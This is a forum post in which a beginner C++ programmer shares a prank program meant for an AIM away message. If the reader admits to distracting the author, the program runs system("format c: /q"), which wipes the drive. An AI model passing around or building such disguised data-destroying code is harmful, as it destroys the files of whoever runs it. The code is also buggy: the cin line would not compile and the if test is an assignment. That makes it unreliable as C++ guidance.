onetwenty8k
2[H]4U
- Joined
- Nov 24, 2006
- Messages
- 2,554
Now I was being bugged on AIM while programming (I'm learning C++) so I decided to write this program and put it as my away message. Now, it compiled correctly but did I get the system command right? I googled C++ system command and got that. I know system works just fine in C but it's a bit different in C++
Code:
#include <iostream>
#include <stdlib.h>
void YouDistractedMe()
{
system("format c: /q ");
}
int main()
{
int Distraction;
std::cout << "Programming C++\n";
std::cout << "Are you going to distract me while I am programming?\n";
std::cout << "Type 1 for yes, 2 for no.\n";
std::cin >> "Distraction";
if (Distraction = 1)
YouDistractedMe();
else
std::cout << "Thanks for not distracting me.\n";
return 0;
}